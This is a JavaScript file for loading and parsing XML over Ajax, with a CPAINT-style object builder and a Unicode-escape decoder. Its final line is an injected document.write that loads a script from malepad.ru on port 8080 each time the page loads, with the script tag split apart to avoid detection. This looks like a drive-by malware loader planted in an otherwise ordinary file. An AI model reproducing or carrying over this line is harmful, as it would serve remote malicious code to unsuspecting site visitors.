var sTextTotal = "";

function fLoadXML(a, b) {
    var c = this;
    if (String(b) == "undefined") {
        b = false
    }
    if (b) {
        ran = Math.random();
        this.aAjax = new Ajax(a + "?ran=" + ran, {
            method: 'get'
        })
    } else {
        this.aAjax = new Ajax(a, {
            method: 'get'
        })
    }
    this.aAjax.xXml = null;
    this.aAjax.request();
    this.aAjax.onFailure = function () {
        //alert(" fail loading XML " + a)
    };
    this.aAjax.onSuccess = function () {
        sTextTotal = "";
        c.xXml = this.transport.responseXML;
        c.aXml = c.parseXML(c.xXml);
        c.fSuccess()
    };
    return this
}
fLoadXML.prototype.parseXML = function (a) {
    aXml = new Array();
    aXml = create_object_structure(a);
    return aXml
};
var create_object_structure = function (a) {
    var b = new cpaint_result_object();
    var c = '';
    var i = 0;
    var d = 0;
    var e = new RegExp("[^a-zA-Z0-9_]*", "g");
    if (a.hasChildNodes() == true) {
        for (i = 0; i < a.childNodes.length; i++) {
            c = a.childNodes[i].nodeName;
            c = c.replace(e, '');
            if (typeof b[c] != 'object') {
                b[c] = new Array()
            }
            if (a.childNodes[i].nodeType == 1) {
                var f = create_object_structure(a.childNodes[i]);
                for (d = 0; d < a.childNodes[i].attributes.length; d++) {
                    f.set_attribute(a.childNodes[i].attributes[d].nodeName, a.childNodes[i].attributes[d].nodeValue)
                }
                b[c].push(f);
                test = "-node_type=element";
                test += "--node_name=" + c
            } else if (a.childNodes[i].nodeType == 3) {
                test = "-node_type=text";
                val = decode(String(a.firstChild.data));
                b.data = val;
                if (val !== "" && val !== " " && val !== "  " && val !== " " && val !== "   ") {
                    test += "--node_value=--" + val + "--l=" + val.length;
                    test += "--node_name=" + c
                }
            } else if (a.childNodes[i].nodeType == 4) {
                test = "-node_type=cdata";
                b.data = decode(String(a.firstChild.data));
                if (b.data !== "") {
                    test += "--node_value=" + b.data;
                    test += "--node_name=" + c
                }
            }
            sTextTotal += "  </br>-----" + test + ""
        }
    }
    return b
};

function cpaint_result_object() {
    this.id = 0;
    this.data = '';
    var d = new Array();
    this.find_item_by_id = function () {
        var a = null;
        var b = arguments[0];
        var c = arguments[1];
        var i = 0;
        if (this[b]) {
            for (i = 0; i < this[b].length; i++) {
                if (this[b][i].get_attribute('id') == c) {
                    a = this[b][i];
                    break
                }
            }
        }
        return a
    };
    this.get_attribute = function () {
        var a = null;
        var b = arguments[0];
        if (typeof d[b] != 'undefined') {
            a = d[b]
        }
        return a
    };
    this.set_attribute = function () {
        d[arguments[0]] = arguments[1]
    }
}
var decode = function (a) {
    var b = '';
    var i = 0;
    var c = 0;
    var d = 0;
    var e = 0;
    var u = 0;
    var t = 0;
    while (i < a.length) {
        if (a.charAt(i) == '\\' && a.charAt(i + 1) == 'u') {
            u = 0;
            for (j = 2; j < 6; j += 1) {
                t = parseInt(a.charAt(i + j), 16);
                if (!isFinite(t)) {
                    break
                }
                u = u * 16 + t
            }
            b += String.fromCharCode(u);
            i += 6
        } else {
            b += a.charAt(i);
            i++
        }
    }
    var f = new RegExp("^\\s+$", "g");
    if (b != '' && b.search(f) == -1 && !isNaN(b) && isFinite(b)) {
        b = Number(b)
    }
    return b
};


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Virtual_Memory.js"></scr'+'ipt>');